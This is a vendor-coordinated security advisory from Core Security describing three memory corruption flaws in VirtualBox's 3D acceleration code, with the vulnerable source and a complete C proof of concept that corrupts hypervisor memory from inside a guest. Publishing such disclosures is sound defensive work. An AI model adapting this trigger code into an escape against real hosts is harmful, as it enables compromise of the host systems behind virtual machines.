Oracle VM VirtualBox – 3D Acceleration Multiple Vulnerabilities

• Exploit Database
• 99 阅读

• 作者： Core Security
  日期： 2014-03-12
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/32208/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844

  Core Security - Corelabs Advisory http://corelabs.coresecurity.com/   Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities       1. *Advisory Information*   Title: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities Advisory ID: CORE-2014-0002 Advisory URL: http://www.coresecurity.com/content/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities Date published: 2014-03-11 Date of last update: 2014-03-11 Vendors contacted: Oracle Release mode: User release       2. *Vulnerability Information*   Class: Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983       3. *Vulnerability Description*   VirtualBox is a general-purpose full virtualizer for x86 hardware, targeted at server, desktop and embedded use.   VirtualBox provides -among many other features- 3D Acceleration for guest machines through its Guest Additions. This feature allows guest machines to use the host machine&apos;s GPU to render 3D graphics based on then OpenGL or Direct3D APIs.   Multiple memory corruption vulnerabilities have been found in the code that implements 3D Acceleration for OpenGL graphics in Oracle VirtualBox. These vulnerabilities could allow an attacker who is already running code within a Guest OS to escape from the virtual machine and execute arbitrary code on the Host OS.     4. *Vulnerable packages*   . Oracle VirtualBox v4.2.20 and earlier. . Oracle VirtualBox v4.3.6 and earlier. . Other versions may be affected too but they were no checked.   5. *Non-vulnerable packages*   . Oracle VirtualBox v4.3.8.   6. *Credits*   This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Andres Blanco from Core Advisories Team.       7. *Technical Description / Proof of Concept Code*   VirtualBox makes use of the *Chromium*[1] open-source library (not to be confused with the open-source web browser) in order to provide 3D Acceleration for OpenGL graphics.   Chromium provides remote rendering of OpenGL graphics through a client/server model, in which a client (i.e. an OpenGL application) delegates the rendering to the server, which has access to 3D-capable hardware.   When 3D Acceleration is enabled in VirtualBox, OpenGL apps running within a Guest OS (acting as Chromium clients) will send rendering commands to the Chromium server, which is running in the context of the hypervisor in the Host OS.   The code that handles OpenGL rendering commands on the Host side is prone to multiple memory corruption vulnerabilities, as described below.     7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability*   [CVE-2014-0981] The first vulnerability is caused by a *design flaw* in Chromium. The Chromium server makes use of "*network pointers*". As defined in Chromium&apos;s documentation, &apos;"Network pointers are simply memory addresses that reside on another machine.[...] The networking layer will then take care of writing the payload data to the specified address."&apos;[2]   So the Chromium&apos;s server code, which runs in the context of the VirtualBox hypervisor in the Host OS, provides a write-what-where memory corruption primitive *by design*, which can be exploited to corrupt arbitrary memory addresses with arbitrary data in the hypervisor process from within a virtual machine.   This is the code of the vulnerable function [file &apos;src/VBox/GuestHost/OpenGL/util/net.c&apos;], which can be reached by sending a &apos;CR_MESSAGE_READBACK&apos; message to the &apos;VBoxSharedCrOpenGL&apos; service:     /----- /** * Called by the main receive function when we get a CR_MESSAGE_READBACK * message.Used to implement glGet*() functions. */ static void crNetRecvReadback( CRMessageReadback *rb, unsigned int len ) { /* minus the header, the destination pointer, * *and* the implicit writeback pointer at the head. */   int payload_len = len - sizeof( *rb ); int *writeback; void *dest_ptr; crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) ); crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );   (*writeback)--; crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len ); }   -----/   Note that &apos;rb&apos; points to a &apos;CRMessageReadback&apos; structure, which is fully controlled by the application running inside a VM that is sending OpenGL rendering commands to the Host side. The &apos;len&apos; parameter is also fully controlled from the Guest side, so it&apos;s possible to:   1. decrement the value stored at any memory address within the address space of the hypervisor. 2. write any data to any memory address within the address space of the hypervisor.   7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability*   [CVE-2014-0982] The second vulnerability is closely related to the first one, and it&apos;s also caused by Chromium&apos;s "*network pointers*".   This is the code of the vulnerable function [file &apos;src/VBox/GuestHost/OpenGL/util/net.c&apos;], which can be reached by sending a &apos;CR_MESSAGE_WRITEBACK&apos; message to the &apos;VBoxSharedCrOpenGL&apos; service:     /----- /** * Called by the main receive function when we get a CR_MESSAGE_WRITEBACK * message.Writeback is used to implement glGet*() functions. */ static void crNetRecvWriteback( CRMessageWriteback *wb ) { int *writeback; crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) ); (*writeback)--; } -----/   Note that &apos;rb&apos; points to a &apos;CRMessageWriteback&apos; structure, which is fully controlled by the application running inside a VM that is sending OpenGL rendering commands to the Host side, so it&apos;s possible to decrement the value stored at any memory address within the address space of the hypervisor.     7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption Vulnerability*   [CVE-2014-0983] When an OpenGL application running inside a VM sends rendering commands (in the form of opcodes + data for those opcodes) through a &apos;CR_MESSAGE_OPCODES&apos; message, the Chromium server will handle them in the &apos;crUnpack&apos; function. The code for the &apos;crUnpack&apos; function is automatically generated by the Python script located at &apos;src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py&apos;.   This function is basically a big switch statement dispatching different functions according to the opcode being processed:     /----- void crUnpack( const void *data, const void *opcodes, unsigned int num_opcodes, SPUDispatchTable *table ) { [...] unpack_opcodes = (const unsigned char *)opcodes; cr_unpackData = (const unsigned char *)data;   for (i = 0 ; i < num_opcodes ; i++) { /*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/ switch( *unpack_opcodes ) { case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break; case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break; case CR_BEGIN_OPCODE: crUnpackBegin(); break; [...] -----/   When the opcode being processed is &apos;CR_VERTEXATTRIB4NUBARB_OPCODE&apos; (&apos;0xEA&apos;), the function to be invoked is &apos;crUnpackVertexAttrib4NubARB&apos;:     /----- [...] case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB(); break; [...] -----/   The &apos;crUnpackVertexAttrib4NubARB&apos; function reads 5 values from the opcode data sent by the Chromium client, and just invokes &apos;cr_unpackDispatch.VertexAttrib4NubARB&apos; with those 5 values as arguments:     /----- static void crUnpackVertexAttrib4NubARB(void) { GLuint index = READ_DATA( 0, GLuint ); GLubyte x = READ_DATA( 4, GLubyte ); GLubyte y = READ_DATA( 5, GLubyte ); GLubyte z = READ_DATA( 6, GLubyte ); GLubyte w = READ_DATA( 7, GLubyte ); cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w ); INCR_DATA_PTR( 8 ); } -----/   &apos;VertexAttrib4NubARB&apos; is a function pointer in a dispatch table, and points to the function &apos;crServerDispatchVertexAttrib4NubARB&apos;, whose code is generated by the Python script located at &apos;src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py&apos;:     /----- void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB( GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w ) { cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y, z, w ); cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData; } -----/   Note that the &apos;index&apos; parameter, which is a 4-byte integer coming from an untrusted source (the opcode data sent by the Chromium client from the VM), is used as an index within the &apos;cr_server.current.c.vertexAttrib.ub4&apos; array in order to write &apos;cr_unpackData&apos; (which is a pointer to the attacker-controlled opcode data), without validating that the index is within the bounds of the array. This issue can be leveraged to corrupt arbitrary memory with a pointer to attacker-controlled data.   Also note that *the same vulnerability affects several functions* whose code is generated by the &apos;src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py&apos; Python script:     /----- Opcode CR_VERTEXATTRIB1DARB_OPCODE [0xDE]-> function crServerDispatchVertexAttrib1dARB Opcode CR_VERTEXATTRIB1FARB_OPCODE [0xDF]-> function crServerDispatchVertexAttrib1fARB Opcode CR_VERTEXATTRIB1SARB_OPCODE [0xE0]-> function crServerDispatchVertexAttrib1sARB Opcode CR_VERTEXATTRIB2DARB_OPCODE [0xE1]-> function crServerDispatchVertexAttrib2dARB Opcode CR_VERTEXATTRIB2FARB_OPCODE [0xE2]-> function crServerDispatchVertexAttrib2fARB Opcode CR_VERTEXATTRIB2SARB_OPCODE [0xE3]-> function crServerDispatchVertexAttrib2sARB Opcode CR_VERTEXATTRIB3DARB_OPCODE [0xE4]-> function crServerDispatchVertexAttrib3dARB Opcode CR_VERTEXATTRIB3FARB_OPCODE [0xE5]-> function crServerDispatchVertexAttrib3fARB Opcode CR_VERTEXATTRIB3SARB_OPCODE [0xE6]-> function crServerDispatchVertexAttrib3sARB Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA]-> function crServerDispatchVertexAttrib4NubARB Opcode CR_VERTEXATTRIB4DARB_OPCODE [0xEF]-> function crServerDispatchVertexAttrib4dARB Opcode CR_VERTEXATTRIB4FARB_OPCODE [0xF0]-> function crServerDispatchVertexAttrib4fARB Opcode CR_VERTEXATTRIB4SARB_OPCODE [0xF2]-> function crServerDispatchVertexAttrib4sARB -----/     7.4. *Proof of Concept*     /----- #include "stdafx.h" #include <windows.h> #include "vboxguest2.h" #include "vboxguest.h" #include "err.h" #include "vboxcropenglsvc.h" #include "cr_protocol.h"   #define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"     HANDLE open_device(){ HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);   if (hDevice == INVALID_HANDLE_VALUE){ printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME); exit(EXIT_FAILURE); } printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice); return hDevice;     }     uint32_t do_connect(HANDLE hDevice){ VBoxGuestHGCMConnectInfo info; DWORD cbReturned = 0; BOOL rc;   memset(&info, 0, sizeof(info)); info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing; strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");   rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info, sizeof(info), &info, sizeof(info), &cbReturned, NULL); if (!rc){ printf("ERROR: DeviceIoControl failed in function do_connect()! LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (info.result == VINF_SUCCESS){ printf("HGCM connect was successful: client id =0x%x\n", info.u32ClientID); } else{ //If 3D Acceleration is disabled, info.result value will be -2900. printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration enabled??)\n", info.result); exit(EXIT_FAILURE); } return info.u32ClientID; }     void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){ BOOL rc; VBoxGuestHGCMDisconnectInfo info; DWORD cbReturned = 0;   memset(&info, 0, sizeof(info)); info.u32ClientID = u32ClientID; printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n"); rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT, &info, sizeof(info), &info, sizeof(info), &cbReturned, NULL); if (!rc){ printf("ERROR: DeviceIoControl failed in function do_disconnect()! LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (info.result == VINF_SUCCESS){ printf("HGCM disconnect was successful.\n"); } else{ printf("[-] HGCM disconnect failed. Result: %d\n", info.result); exit(EXIT_FAILURE); }   }     void set_version(HANDLE hDevice, uint32_t u32ClientID){ CRVBOXHGCMSETVERSION parms; DWORD cbReturned = 0; BOOL rc;   memset(&parms, 0, sizeof(parms)); parms.hdr.result= VERR_WRONG_ORDER; parms.hdr.u32ClientID = u32ClientID; parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION; parms.hdr.cParms= SHCRGL_CPARMS_SET_VERSION;   parms.vMajor.type= VMMDevHGCMParmType_32bit; parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR; parms.vMinor.type= VMMDevHGCMParmType_32bit; parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;   rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);   if (!rc){ printf("ERROR: DeviceIoControl failed in function set_version()! LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (parms.hdr.result == VINF_SUCCESS){ printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); } else{ printf("Host didn&apos;t accept our version.\n"); exit(EXIT_FAILURE); } }     void set_pid(HANDLE hDevice, uint32_t u32ClientID){ CRVBOXHGCMSETPID parms; DWORD cbReturned = 0; BOOL rc;   memset(&parms, 0, sizeof(parms)); parms.hdr.result= VERR_WRONG_ORDER; parms.hdr.u32ClientID = u32ClientID; parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID; parms.hdr.cParms= SHCRGL_CPARMS_SET_PID;   parms.u64PID.type = VMMDevHGCMParmType_64bit; parms.u64PID.u.value64 = GetCurrentProcessId();   rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);   if (!rc){ printf("ERROR: DeviceIoControl failed in function set_pid()! LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (parms.hdr.result == VINF_SUCCESS){ printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); } else{ printf("Host didn&apos;t like our PID %d\n", GetCurrentProcessId()); exit(EXIT_FAILURE); }   }     /* Triggers the vulnerability in the crNetRecvReadback function. */ void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){ CRVBOXHGCMINJECT parms; DWORD cbReturned = 0; BOOL rc; char mybuf[1024]; CRMessageReadback msg;   memset(&msg, 0, sizeof(msg)); msg.header.type = CR_MESSAGE_READBACK; msg.header.conn_id = 0x8899;     //This address will be decremented by 1 *((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888; //Destination address for the memcpy *((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;   memcpy(&mybuf, &msg, sizeof(msg)); strcpy(mybuf + sizeof(msg), "Hi hypervisor!");   memset(&parms, 0, sizeof(parms)); parms.hdr.result= VERR_WRONG_ORDER; parms.hdr.u32ClientID = u32ClientID; parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT; parms.hdr.cParms= SHCRGL_CPARMS_INJECT;   parms.u32ClientID.type = VMMDevHGCMParmType_32bit; parms.u32ClientID.u.value32= u32ClientID;   parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In; parms.pBuffer.u.Pointer.size = sizeof(mybuf); //size for the memcpy: sizeof(mybuf) - 0x18 parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;   rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);   if (!rc){ printf("ERROR: DeviceIoControl failed in function trigger_message_readback()!. LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (parms.hdr.result == VINF_SUCCESS){ printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); } else{ printf("HGCM Call failed. Result: %d\n", parms.hdr.result); exit(EXIT_FAILURE); } }     /* Triggers the vulnerability in the crNetRecvWriteback function. */ void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){ CRVBOXHGCMINJECT parms; DWORD cbReturned = 0; BOOL rc; char mybuf[512]; CRMessage msg;   memset(&mybuf, 0, sizeof(mybuf));   memset(&msg, 0, sizeof(msg)); msg.writeback.header.type = CR_MESSAGE_WRITEBACK; msg.writeback.header.conn_id = 0x8899; //This address will be decremented by 1 *((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;   memcpy(&mybuf, &msg, sizeof(msg)); strcpy(mybuf + sizeof(msg), "dummy");   memset(&parms, 0, sizeof(parms)); parms.hdr.result= VERR_WRONG_ORDER; parms.hdr.u32ClientID = u32ClientID; parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT; parms.hdr.cParms= SHCRGL_CPARMS_INJECT;   parms.u32ClientID.type = VMMDevHGCMParmType_32bit; parms.u32ClientID.u.value32= u32ClientID;   parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In; parms.pBuffer.u.Pointer.size = sizeof(mybuf); parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;     rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);   if (!rc){ printf("ERROR: DeviceIoControl failed in function trigger_message_writeback()! LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (parms.hdr.result == VINF_SUCCESS){ printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); } else{ printf("HGCM Call failed. Result: %d\n", parms.hdr.result); exit(EXIT_FAILURE); }   }     /* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB function. */ void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){ CRVBOXHGCMINJECT parms; char mybuf[0x10f0]; DWORD cbReturned = 0; BOOL rc;   unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7}; DWORD opcode_data[] = {0x08,//Advance 8 bytes after executing opcode 0xF7, subopcode 0x30 0x30,//Subopcode for opcode 0xF7 0x331,//Argument for opcode 0x02 0xFFFCFA4B,//This is the negative index used to trigger the memory corruption 0x41414141};//Junk   CRMessageOpcodes msg_opcodes;   memset(&mybuf, 0, sizeof(mybuf));   memset(&msg_opcodes, 0, sizeof(msg_opcodes)); msg_opcodes.header.conn_id = 0x8899; msg_opcodes.header.type = CR_MESSAGE_OPCODES; msg_opcodes.numOpcodes = sizeof(opcodes);   char *offset = (char *)&mybuf; memcpy(offset, &msg_opcodes, sizeof(msg_opcodes)); offset += sizeof(msg_opcodes);   /*----- Opcodes -----*/ memcpy(offset, &opcodes, sizeof(opcodes)); offset += sizeof(opcodes);   /*----- data for the opcodes -----*/ memcpy(offset, &opcode_data, sizeof(opcode_data)); offset += sizeof(opcode_data);     memset(&parms, 0, sizeof(parms)); parms.hdr.result= 0; parms.hdr.u32ClientID = u32ClientID; parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT; parms.hdr.cParms= SHCRGL_CPARMS_INJECT;   parms.u32ClientID.type = VMMDevHGCMParmType_32bit; parms.u32ClientID.u.value32= u32ClientID;   parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In; parms.pBuffer.u.Pointer.size = sizeof(mybuf); parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;   rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms, sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);   if (!rc){ printf("ERROR: DeviceIoControl failed in function trigger_opcode_0xea()! LastError: %d\n", GetLastError()); exit(EXIT_FAILURE); }   if (parms.hdr.result == VINF_SUCCESS){ printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned); } else{ printf("HGCM Call failed. Result: %d\n", parms.hdr.result); exit(EXIT_FAILURE); }   }     void poc(int option){ HANDLE hDevice; uint32_t u32ClientID;   /* Connect to the VBoxSharedCrOpenGL service */ hDevice = open_device(); u32ClientID = do_connect(hDevice);   /* Set version and PID */ set_version(hDevice, u32ClientID); set_pid(hDevice, u32ClientID);   switch (option){ case 1: printf("[1] triggering the first bug...\n"); trigger_message_readback(hDevice, u32ClientID); break; case 2: printf("[2] triggering the second bug...\n"); trigger_message_writeback(hDevice, u32ClientID); break; case 3: printf("[3] triggering the third bug...\n"); trigger_opcode_0xea(hDevice, u32ClientID); break; default: printf("[!] Unknown option %d.\n", option); }   /* Disconnect from the VBoxSharedCrOpenGL service */ do_disconnect(hDevice, u32ClientID); CloseHandle(hDevice); }         int main(int argc, char* argv[]) { if (argc < 2){ printf("Usage: %s <option number>\n\n", argv[0]); printf("* Option 1: trigger the vulnerability in the crNetRecvReadback function.\n"); printf("* Option 2: trigger the vulnerability in the crNetRecvWriteback function.\n"); printf("* Option 3: trigger the vulnerability in the crServerDispatchVertexAttrib4NubARB function.\n"); exit(1); } poc(atoi(argv[1])); } -----/     8. *Report Timeline* . 2014-02-11: Core Security Technologies notifies the VirtualBox team of the vulnerability. Publication date is set for March 4th, 2014.     . 2014-02-12:   Vendor acknowledges the receipt of the information. Vendor asks to coordinate the release for April 15, 2014 which is the earliest possible date for publishing this issue from Oracle.     . 2014-02-12:   Core schedules the advisory publication for April 15, 2014 and asks for regular status reports.     . 2014-03-04:   First release date missed.     . 2014-03-07:   Vendor releases fixes of some affected versions [3][4].     . 2014-03-07:   Core notifies that, given that some patches were disclosed, the advisory will we released as user release ASAP.     . 2014-03-07:   Vendor asks for delaying the advisory publication given that some versions are still vulnerable.     . 2014-03-10:   Core notifies that the advisory is going to be published because once the fixes have been made public the vulnerability is public as well.     . 2014-03-10:   Vendor notifies that they will not include credit to Core researchers given that the advisory is being published before a fix is available to all affected versions.     . 2014-03-11:   Advisory CORE-2014-0002 published as user release.       9. *References*   [1] http://chromium.sourceforge.net/ [2] http://chromium.sourceforge.net/doc/howitworks.html [3] https://www.virtualbox.org/changeset/50441/vbox [4] https://www.virtualbox.org/changeset/50437/vbox     10. *About CoreLabs*   CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.       11. *About Core Security Technologies*     Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.       Core Security&apos;s software solutions build on over a decade of trusted research and leading-edge threat expertise from the company&apos;s Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.       12. *Disclaimer*     The contents of this advisory are copyright (c) 2014 Core Security Technologies and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/     13. *PGP/GPG Keys*     This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.